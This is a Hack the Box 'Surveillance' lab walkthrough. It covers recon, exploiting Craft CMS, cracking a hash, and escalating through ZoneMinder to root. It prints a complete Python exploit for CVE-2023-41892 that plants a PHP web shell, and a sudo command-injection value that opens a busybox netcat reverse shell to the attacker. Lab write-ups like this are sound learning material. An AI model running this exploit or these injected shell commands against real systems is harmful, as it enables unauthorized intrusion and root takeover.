Hack the Box Surveillance Lab Walkthrough

The_leman_provider
11 min readFeb 1, 2024

A detailed WalkThrough and a lot of new stuff to learn.

Lab info:-

Lab name:- Surveillance (Active)

Difficulty Level:- Medium

flags count:- 2

Lab System OS:- Linux

Actual Steps:-

1: Nmap Scan.

2: Adding host-to-host file

3: brut forcing Directories.

5: Exploit the CMS to get a reverse shell

6: Stabilize the reverse shell

7: find the password for the user to get user.txt

8: ssh to the new user

9: Enumerating the user

10: Forwarding Zoneminder to access it

12: Exploting the Zoneminder

13: Enumerating Zoneminder access to get to the root

14:Executing command on behalf of root and getting root.txt

Execution:-

1: Nmap scan:-

Scanning the IP address with a basic switch such as -sC -sV will provide enough info to get started and understand a bit about what we are dealing with. Here take a look. (if you can't ping or Nmap the IP address you will need to add the IP address to your hosts file in the etc directory I will mention it in step 2)

So it speaks that 80 for HTTP and 22 for SSH are open but we need to check if they are up or not. If you just visit the IP address on the browser it will not load the website you will need to add the IP address to the hosts.

2:Adding IP Address to host File and taking a look at the website

You can locate your host file and add the IP address along with the name you want to give to the website Such as Surveillance.htb. Add it in hosts in such a way.

Now let's check how it looks cause we need to find a way in through this port only.

This is how it looks and it certainly fails to fill us with enough info to find its weakness.

Now let's take a look at the source code to check if we find something useful on it. This is what I found.

It seems that the website is running a CMS and if it's a CMS then we can assume that this is our first lead to find our way in. But still, let's enumerate some more just for the sake of gaining more info about our target.

3: brut forcing Directories.

The previous source code gave enough info to begin but as it's a website it's always great to look for some hidden or present but useful directories. So let's run Gobuster on it for some good insight.

We have /admin and index.php ew will focus on the /admin directory for now this is how it looks.

This confirms that it is using the above CMS we had seen earlier in the source code. So the current info we have is.

CMS name:- Craft CMS

CMS version:- 4.4.14

4: Exploit the CMS to get a reverse shell

So after some googling and striking the net and exploiting DB, I landed on the CVE-2023–41892 and it's a remote code execution vulnerability. Finally, a good finding to start with.

So I looked through this gist post and it seems simple not very complicated but if you referred to some other writeup before mine then you might land up with an issue that their steps are not working as expected even after doing changes to the code you are asking for by the writeup the reason is that this gist is updated and “now” don't need any changes to work like a charm. If you don’t want to visit the post and read through all the shenanigans just copy this code and create a .py file as you go to payload. Here have it.

import requests
import re
import sys

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
<write filename="info:DOCUMENTROOT/cpresources/shell.php" />
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}

response = requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}

response = requests.post(url, headers=headers, data=data)

pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):

data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data)

def shell(cmd):
response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text

if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")

print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass

print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)

I saved it as POC.py. Now execute it with the following command.

python3 POC.py http://Surveillance.htb/

This is how the execution looks and our initial foothold too as a dumb reverse shell.

Ok cool we are in and all looks great so far but this shell is not so stable and if you keep using it for a long time or even long enough to enumerate the machine it is inconsistent, slow and won't respond on time.

5: Stabilize the reverse shell

Most of you will go with the Python stabilizing method I will just say don't waste your time on it cause it won't work so I recommend generating a one-liner from your msfvenom in raw format, start your netcat listener on the port you specified in the one-liner payload and execute the payload on the initial access shell. A dumb shell but a bit better will be presented to you on your Netcat listener. Here this is how it looks

Msfpayload command

netcat side

Now this shell can be upgraded by your Python approach if you don't know the command here it is.

python3 -c 'import pty; pty.spawn("/bin/bash")'

but this access was quite enough for me to start my way to escalate towards the user.txt flag.

6: find the password for the user to get user.txt

So from our current access, we didn’t find any user.txt around to submit our flag because the flag is present in another user we can list them out and they are.

So I assume that Matthew is the user who has our flag. So we will now start our horizontal movement to a better privilege i.e Matthew.

On enumerating our current user I found a backup directory that contains a zip file which was interesting to me cause it was an SQL backup file that may have some creds lying in it which can be useful.

To extract it and read it I used a Python simple HTTP server on the target access and wget it to my machine you can even take it to the attacker's machine with the browser just by browsing the machine's IP and the port number you specified as URL.

The command to set an HTTP service is here.

python3 -m http.server 9000

I extracted the zip file and had a thought of reading through it but why read it all i can just search for our listed users and find info related to them. This way I got a hash specified alongside of name Matthew.

Then I just threw the hash in the Hash-Identifier to know what it made of.

So it's SHA-256 hard to crack maybe. Hash cat takes a huge time to do this job so I tried using John the Ripper for this task and he ripped it instantly.

7: ssh to the new user

Now with the password, we can SSH to the user Matthew as SSH was running on the machine on port 22 and Boom we got a fully functional shell and even the user.txt, it's just in Matthew's Directory.

9: Enumerating the user

After Digging and scratching around for a huge while I just thought it would be better to run the automated enumeration script to find something that could help me escalate horizontally or vertically which every way I could. So I decided to use Linpeas for this approach. You can get the latest version of Linpeas.sh, file here just download the top file and then use the Python HTTP server to transfer it to the target machine make sure to put it in the tmp Directory.

After Running the scan throughout the machine I ended up here.

Knowing that it has a separate directory in the shared folder and that it is present as an API, I got curious and searched it on Google and found that it is an API that can provide a complete surveillance system circuit. Finally something related to the lab's name. Moving to Directory I found its version to be 1.36.32.1 in its config file.

10: Forwarding Zoneminder to access it.

Now I need to know where is it being hosted and found it running on port 8080 but on Matthew's user machine which can be accessed only by port forwarding via SSH.

You can use the following command to forward that port on your local host on any IP I use 2222

Command

ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245

Then I tried visiting my local host at port 2222 and it worked that was a bit surprising and new for me. You can learn more about SSH port forwarding or Tunneling you should learn more here.

This is how it looks on the browser.

#image here for the local host presentation of Zoneminder.

Yes a Login page, but we don't have the appropriate credentials to get login here.

11: Exploting the Zoneminder.

Now with no credentials but the version known, I dug the internet to find a way to exploit it and landed on this exploit page of the Rapid Seven which even has a Metasploit module for it so it is easy to exploit. Have a look at the module and its setup.

Setting up the module on our own Metasploit.

This will present you with an interpreter shell. Don't forget to set the Lport on the port you specified earlier in the port forwarding phase and we will log in as a zoneminder.

12: Enumerating Zoneminder access to get to the root

I enumerated this user using ‘sudo -l’ command and found something weird that scratched my brain here you take a look.

If you want to know more about manual privilege escalation you can read this it will fill ur brain enough to look at such things by urself.

Access towards all the pearl script files of the zoneminder. It even specify the directory that stores all the files. let's take a look at all the present files.

Looking and reading the files and finding more info about executing these files and how will it help to get our goals done. In the zmupdate.pl I found this command at the start of the file which looks more like have some input space and response and output spaces present. let's try to execute it while just providing only the username as root.

13:Executing command on behalf of root and getting root.txt

After executing the script as specified in the comments we got the password it even has the output section which is quite blank and it seems that it executes as a MySQL command. Let's try running the commands with some arbitrary inputs to find whether it hits us with an output or not.

let's run whoami just to see if anything returns.

The line in blue is the command that executed and the red one is the output which means that we can run the command as the root and the screenshot proves it.

let's try to get the root.txt and then we will be done. Let's use the busy box command to connect to Netcat on our host and get login as root.

Command on the target machine.


sudo /usr/bin/zmupdate.pl -v 1.19.0 -u ';busybox nc $You_IP_Address 1234 -e sh;'

You can use this command on the attacker side to execute it after executing the Netcat command on your (attacker) machine. When we are done we will get ourselves full high privileges root shell session on the net cat side.

This is the netcat side of it.

Done just grav the root.txt from the root users directory.

If you have read so far try some more of my content you might find them interesting maybe.

Thanks for reading and keep hacking.

--

--